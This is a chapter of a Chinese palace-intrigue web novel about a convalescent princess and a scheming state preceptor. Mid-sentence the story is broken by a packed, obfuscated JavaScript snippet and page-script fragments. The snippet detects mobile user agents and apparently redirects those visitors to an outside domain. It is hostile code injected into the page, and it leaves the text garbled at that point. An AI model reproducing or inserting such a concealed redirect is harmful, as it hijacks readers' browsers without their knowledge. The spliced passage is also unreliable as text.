容钰发热请太医的事自然瞒不过宫里那几位,皇帝又让人送了补品过来,容钰随意挥挥手,让人把装着山参灵芝的木箱放进库房里,没打开看一眼。 喝了这么多年药,她也知道自己的身体虚不受补,吃多了补品反而会损害脾脏,加重病症,她不知道父皇心里清不清楚,但这些补品对于她来说聊胜于无。 经历了宫宴上的行刺,父皇多半也无心拆看她送的祝寿礼了,容钰喝完那碗药,露出苦涩的笑,拿了一颗蜜饯含在嘴里,心想罢了,自己的心意到了就行,在府里安然养病就是。 原本平静的京城如同一汪深水,现在陡然被人投入了石块,溅起惊波的同时也惊扰了不少隐藏在暗中的人,每个人都想试一试这水究竟有多深,但都不愿当出头鸟,只是互相警惕地观望着。 容钰对外面的诡谲浑然不觉,眨眼几天过去,她不再发热,手脚都有了力气,也看完了之前看了一半的话本。 那男狐狸精和千金小姐先是私定了终生,考取功名后就立刻上门提亲,本该皆大欢喜,话本就此完结,可惜在新婚那夜,男狐狸精一晌贪欢,不小心露出了原型,把千金小姐吓晕过去。 第二日千金小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15147034|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来后,男狐狸精还想糊弄,但千金小姐极其聪慧,一口咬定书生不是人,而是精怪。 男狐狸精不得不再次现了原型,又说了当年千金小姐的救命之恩,自己是来报恩的。可千金小姐害怕厌恶妖怪,不愿意和他在一起,但又舍不得狐狸精变成人后的样貌品性,且他们若是刚成婚就和离,这叫什么样子! 容钰也看的纠结不已,心里着急,好在千金小姐最后还是被男狐狸精的真心打动,接受了他,终成眷属。 看完之后,容钰觉得新奇又意犹未尽,正想让春桃再出去买几本,就看到春桃掀了帘子进来行礼,将打听到的消息带了回来:“殿下,刑部的人查出来了,是漠北那边派来的刺客。” “漠北!”容钰吃了一惊,“他们怎么这时……” 后面的话容钰强忍着没有叫出来,但她心里却打起了鼓,心脏砰砰直跳,耳朵都起了嗡鸣。 漠北怎么会这个时候就开始动手,她记得清清楚楚,上一世漠北不再向大夏称臣,挑起边境事端,可是在两年后! 那时父皇才让两国和谈,才推她去漠北和亲,舅舅才死在边关战事里,这一世漠北居然这时就不安分了,那是不是和亲的事情,也会提前?! 容钰差点坐不稳,她摇晃着起身,急的在原地转了两圈,手里的帕子都搅成了一团,心乱如麻,最后一跺脚,咬牙对着春桃说:“去拿上好的春风纸来,我要给国师写帖子。” 不能再耽搁下去了,她必须得用些手段,让许怀鹤对自己上心! 许怀鹤收到来自昭华公主的请帖时,正炼制一炉新的丹药。 皇帝被刺客惊扰,近来难以入睡,头痛欲裂,太医院开的药见效慢,皇帝不满,就请他炼制一些安神助眠的丹药,他自然应下,往里添了首乌藤,柏子仁和辰砂等药材,还特意加了孔雀石青。 这种丹药服用后,刚开始会面色红润,安然入眠,到后面毒素慢慢积累,就会指尖发麻,多梦盗汗,到了最后,再配合老皇帝之前服用的那些丹药,心悸昏厥是常有的事,指不定哪次就能中风瘫痪,口不能言,这不比直接刺杀好多了? 小道童拿着帖子进来,许怀鹤盖上丹炉,用帕子净了手,接过烫金的拜帖,展开光滑的春风纸,一字字看过去。 昭华公主的字是簪花小楷,工整干净,笔尖收尾处圆润不含锋芒,每个字都写的很认真,见字如人,便就知道她是怎样的天真纯洁。 当面感谢救命之恩?许怀鹤的神色微动,又看了看信中邀约他相聚的地方,是靠近河岸酒楼上的雅间,也是许多附庸风雅的才子都爱去的地方,方便赏月饮酒,隔岸看花。 上次宫宴,他道不方便有牵扯,是为了保护公主殿下,昭华公主神色失望,负气离开,他还以为公主殿下会厌弃了他,冷他好一段时间,没想到…… 许怀鹤的指尖拂过纸面,最后按在帖末独属于昭华公主的小印上,他沉思良久,最后仔细收好帖子,放入木匣里,提笔回了请帖。 他本想推脱,现在还不能把昭华公主牵扯进来,但思及那群蠢人这段时日都在互相攻讦,忙着擦干净刺杀的证据,没空来监视他,又改了想法。 “管好你的嘴。”许怀鹤将写好的帖子交给小道童,声音平静,却让小道童起了一身冷汗,“上一个道童是怎么没的,你应该清楚。” 小道童直接跪下,砰砰磕了响头,声音战战兢兢:“奴才明白,奴才既然跟了国师大人,就只衷心国师大人,必然不会多嘴,做多余的事!” 许怀鹤静静看着他离开,转身进了屋内,打开放在桌案上的长木盒,里面是一把青色的长剑,剑柄深青素淡,却独独镶嵌了一颗白色的花型珍珠,如同杀手簪花,显得不伦不类。 许怀鹤摩挲着剑柄,眼里闪过寒芒,惊飞了停在窗外枯枝上的寒鸦,又慢慢散开,恢复平静无波。 不会等太久了。